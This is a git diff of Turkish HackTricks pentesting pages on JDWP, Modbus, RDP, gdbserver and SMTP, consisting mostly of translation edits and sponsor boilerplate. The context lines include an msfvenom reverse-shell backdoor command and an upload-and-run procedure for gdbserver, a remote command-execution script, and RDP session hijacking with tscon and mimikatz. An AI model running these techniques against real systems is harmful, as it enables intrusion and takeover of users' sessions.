- Kimlik doğrulama ve şifreleme eksikliği, düşmanca ağlara maruz kaldığında savunmasız hale getirir.
- Kimlik doğrulama ve şifreleme eksikliği, düşmanca ağlara maruz kaldığında güvenlik açığı oluşturur.
2. **JDWP El Sıkışması**:
- İletişimi başlatmak için basit bir el sıkışma süreci kullanılır. Debugger (istemci) ve Debuggee (sunucu) arasında 14 karakterlik bir ASCII dizesi “JDWP-Handshake” değiştirilir.
@ -56,7 +58,7 @@ I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit
5. **Gerçek Hayatta Sömürü**:
- Potansiyel güvenlik duvarı korumalarına rağmen, JDWP hizmetleri keşfedilebilir ve gerçek dünya senaryolarında sömürülebilir, bu da ShodanHQ ve GitHub gibi platformlarda yapılan aramalarla gösterilmektedir.
- Sömürü betiği çeşitli JDK sürümlerine karşı test edilmiştir ve platformdan bağımsızdır, güvenilir Uzaktan Kod Çalıştırma (RCE) sunmaktadır.
- Sömürü betiği çeşitli JDK sürümlerine karşı test edilmiştir ve platformdan bağımsızdır, güvenilir Uzaktan Kod Yürütme (RCE) sunar.
6. **Güvenlik Etkileri**:
- İnternette açık JDWP hizmetlerinin varlığı, düzenli güvenlik incelemeleri yapma, üretimde hata ayıklama işlevlerini devre dışı bırakma ve uygun güvenlik duvarı yapılandırmalarının gerekliliğini vurgular.
@ -78,7 +80,9 @@ I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; bu araçlar keşiften raporlamaya kadar uzanır. Biz pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve sömürü modülleri geliştiriyoruz.
#### Web uygulamalarınız, ağınız ve bulut için bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, sömürülebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik sömürüleri kullanmak için 20'den fazla özel aracımızı kullanın, sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -92,7 +96,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -7,7 +7,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
@ -15,14 +15,16 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Güvenlik değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; bu araçlar keşiften raporlamaya kadar uzanır. Biz pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
# Temel Bilgiler
1979'da **Modbus Protokolü**, Modicon tarafından geliştirilmiş olup, bir mesajlaşma yapısı olarak hizmet vermektedir. Temel kullanımı, akıllı cihazlar arasında iletişimi kolaylaştırmaktır ve bu, bir master-slave/client-server modeli altında çalışır. Bu protokol, cihazların verileri verimli bir şekilde değiştirmesine olanak tanıyan kritik bir rol oynamaktadır.
1979'da **Modbus Protokolü**, Modicon tarafından geliştirildi ve bir mesajlaşma yapısı olarak hizmet vermektedir. Temel kullanımı, akıllı cihazlar arasında iletişimi kolaylaştırmaktır ve bu, bir master-slave/client-server modeli altında çalışır. Bu protokol, cihazların verileri verimli bir şekilde değiştirmesini sağlamakta önemli bir rol oynamaktadır.
**Varsayılan port:** 502
```
@ -43,14 +45,16 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; keşiften raporlamaya kadar. Biz pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -1,29 +1,31 @@
# 3389 - Pentesting RDP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>HackTricks'i Destekleyin</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; bu araçlar keşiften raporlamaya kadar uzanır. Biz pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Temel Bilgiler
Microsoft tarafından geliştirilen **Uzak Masaüstü Protokolü** (**RDP**), bilgisayarlar arasında bir ağ üzerinden grafiksel bir arayüz bağlantısı sağlamayı amaçlamaktadır. Böyle bir bağlantı kurmak için, kullanıcı tarafından **RDP** istemci yazılımı kullanılır ve aynı anda, uzak bilgisayarın **RDP** sunucu yazılımını çalıştırması gerekmektedir. Bu kurulum, uzak bir bilgisayarın masaüstü ortamının kesintisiz kontrolünü ve erişimini sağlar; temelde arayüzünü kullanıcının yerel cihazına getirir.
Microsoft tarafından geliştirilen **Uzak Masaüstü Protokolü** (**RDP**), bilgisayarlar arasında bir ağ üzerinden grafiksel bir arayüz bağlantısı sağlamayı amaçlamaktadır. Böyle bir bağlantı kurmak için, kullanıcı tarafından **RDP** istemci yazılımı kullanılır ve aynı anda, uzak bilgisayarın **RDP** sunucu yazılımını çalıştırması gerekmektedir. Bu yapı, uzak bir bilgisayarın masaüstü ortamının sorunsuz bir şekilde kontrol edilmesini ve erişilmesini sağlar, temelde arayüzünü kullanıcının yerel cihazına getirir.
**Varsayılan port:** 3389
```
@ -70,7 +72,9 @@ rdp_check <domain>/<name>:<password>@<IP>
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; bu araçlar keşiften raporlamaya kadar uzanır. Pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
#### Bir hacker'ın web uygulamalarınız, ağınız ve bulut üzerindeki bakış açısını edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -78,7 +82,7 @@ rdp_check <domain>/<name>:<password>@<IP>
### Oturum çalma
**SYSTEM izinleriyle** herhangi bir **kullanıcı tarafından açılmış RDP oturumuna** erişebilirsiniz; sahibinin şifresini bilmenize gerek yoktur.
**SYSTEM izinleriyle** herhangi bir **kullanıcı tarafından açılmış RDP oturumuna** erişebilirsiniz, sahibinin şifresini bilmenize gerek yoktur.
**Açık oturumları alın:**
```
@ -88,11 +92,11 @@ query user
```bash
tscon <ID> /dest:<SESSIONNAME>
```
Artık seçilen RDP oturumunun içinde olacaksınız ve yalnızca Windows araçları ve özelliklerini kullanarak bir kullanıcıyı taklit edeceksiniz.
Artık seçilen RDP oturumunun içindesiniz ve yalnızca Windows araçları ve özelliklerini kullanarak bir kullanıcıyı taklit edeceksiniz.
**Önemli**: Aktif RDP oturumuna eriştiğinizde, onu kullanan kullanıcıyı çıkartacaksınız.
**Önemli**: Aktif RDP oturumlarına eriştiğinizde, onu kullanan kullanıcıyı oturumdan çıkarırsınız.
Şifreleri işlemi dökerek alabilirsiniz, ancak bu yöntem çok daha hızlıdır ve kullanıcıların sanal masaüstleriyle etkileşimde bulunmanıza olanak tanır (şifreler not defterinde, diske kaydedilmeden, diğer makinelerde açık olan diğer RDP oturumları...)
Şifreleri süreçten dökerek alabilirsiniz, ancak bu yöntem çok daha hızlıdır ve kullanıcıların sanal masaüstleriyle etkileşimde bulunmanızı sağlar (notepad'deki şifreler diske kaydedilmeden, diğer makinelerde açık olan diğer RDP oturumları...)
#### **Mimikatz**
@ -105,11 +109,11 @@ ts::remote /id:2 #Connect to the session
Bu tekniği **stickykeys** veya **utilman** ile birleştirerek, her zaman bir yönetici CMD ve herhangi bir RDP oturumuna erişim sağlayabilirsiniz.
Bu tekniklerden biriyle arka kapı bırakılmış RDP'leri şu linkle arayabilirsiniz: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
Bu tekniklerden biriyle arka kapı bırakılmış RDP'leri aramak için: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) kullanabilirsiniz.
### RDP Süreç Enjeksiyonu
Farklı bir alan adından veya **daha iyi yetkilere sahip biri RDP ile** **senin Admin** olduğun PC'ye giriş yaparsa, onun **RDP oturum süreci** içine beacon'ını **enjekte** edebilir ve onun gibi davranabilirsin:
Farklı bir alan adından veya **daha iyi ayrıcalıklara sahip biri RDP üzerinden** **senin Admin** olduğun PC'ye giriş yaparsa, onun **RDP oturum süreci** içine beacon'ını **enjekte** edebilir ve onun gibi davranabilirsin:
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
@ -123,11 +127,11 @@ net localgroup "Remote Desktop Users" UserLoginName /add
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn**, esas olarak Microsoft Windows bilgisayarlarında **Shadow** saldırısını otomatikleştirmek için tasarlanmış, Powershell'de oluşturulmuş bir post-exploitation framework'tür. Bu zafiyet (Microsoft tarafından bir özellik olarak listelenmiştir), uzaktan bir saldırganın **kurbanının masaüstünü izinsiz olarak görüntülemesine** ve hatta talep üzerine kontrol etmesine olanak tanır; bu, işletim sisteminin kendisine ait araçlar kullanılarak yapılır.
**AutoRDPwn**, esas olarak Microsoft Windows bilgisayarlarında **Shadow** saldırısını otomatikleştirmek için tasarlanmış, Powershell'de oluşturulmuş bir post-exploitation framework'tür. Bu zafiyet (Microsoft tarafından bir özellik olarak listelenmiştir), uzaktan bir saldırganın **kurbanının masaüstünü izinsiz olarak görüntülemesine** ve hatta işletim sisteminin kendisine ait araçları kullanarak talep üzerine kontrol etmesine olanak tanır.
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
* Komut satırından otomatik bir şekilde fare ve klavye kontrolü
* Komut satırından otomatik bir şekilde panoya kontrol
* Komut satırından otomatik bir şekilde panoya erişim
* RDP üzerinden hedefe ağ iletişimini yönlendiren bir SOCKS proxy'si oluşturma
* Hedefte dosya yüklemeden rastgele SHELL ve PowerShell komutları çalıştırma
* Hedefte dosya transferleri devre dışı olsa bile hedefe dosya yükleme ve indirme
@ -153,7 +157,9 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; keşiften raporlamaya kadar. Biz pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
#### Bir hacker'ın web uygulamalarınız, ağınız ve bulut üzerindeki bakış açısını edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -166,7 +172,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -9,7 +9,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
@ -17,13 +17,15 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; bu araçlar keşiften raporlamaya kadar uzanır. Biz pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **Temel Bilgiler**
**gdbserver**, programların uzaktan hata ayıklanmasını sağlayan bir araçtır. Hata ayıklanması gereken programla aynı sistemde, "hedef" olarak bilinen programın yanında çalışır. Bu kurulum, **GNU Debugger**'ın kaynak kodunun ve hata ayıklanan programın ikili kopyasının saklandığı farklı bir makineden, "host"tan bağlanmasına olanak tanır. **gdbserver** ile hata ayıklayıcı arasındaki bağlantı TCP veya seri hat üzerinden yapılabilir, bu da çok yönlü hata ayıklama kurulumlarına olanak tanır.
**gdbserver**, programların uzaktan hata ayıklanmasını sağlayan bir araçtır. Hata ayıklanması gereken programla aynı sistemde, "hedef" olarak bilinen bir yerde çalışır. Bu yapı, **GNU Debugger**'ın kaynak kodunun ve hata ayıklanan programın ikili kopyasının saklandığı "ana makine"den bağlanmasına olanak tanır. **gdbserver** ile hata ayıklayıcı arasındaki bağlantı, TCP veya seri hat üzerinden yapılabilir, bu da çok yönlü hata ayıklama kurulumlarına olanak tanır.
**gdbserver'ı herhangi bir portta dinlemeye** ayarlayabilirsiniz ve şu anda **nmap hizmeti tanıyamıyor**.
@ -31,7 +33,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
### Yükle ve Çalıştır
Kolayca bir **elf backdoor oluşturabilir, yükleyebilir ve çalıştırabilirsiniz**:
Kolayca bir **elf backdoor oluşturabilir, msfvenom ile yükleyebilir ve çalıştırabilirsiniz:**
```bash
# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
@ -54,9 +56,9 @@ run
# You should get your reverse-shell
```
### Rastgele komutlar çalıştırma
### Rastgele komutları çalıştır
**Hata ayıklayıcının rastgele komutlar çalıştırmasını sağlamak için başka bir yol vardır** [**buradan alınan python özel betiği**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
Başka bir yol, **hata ayıklayıcıyı rastgele komutları çalıştırması için** [**buradan alınan python özel betiği**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target) kullanmaktır.
```bash
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
target extended-remote 192.168.1.4:2345
@ -198,20 +200,22 @@ RemoteCmd()
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; keşiften raporlamaya kadar. Pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -1,23 +1,25 @@
# 25,465,587 - Pentesting SMTP/s
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
<summary>Support HackTricks</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
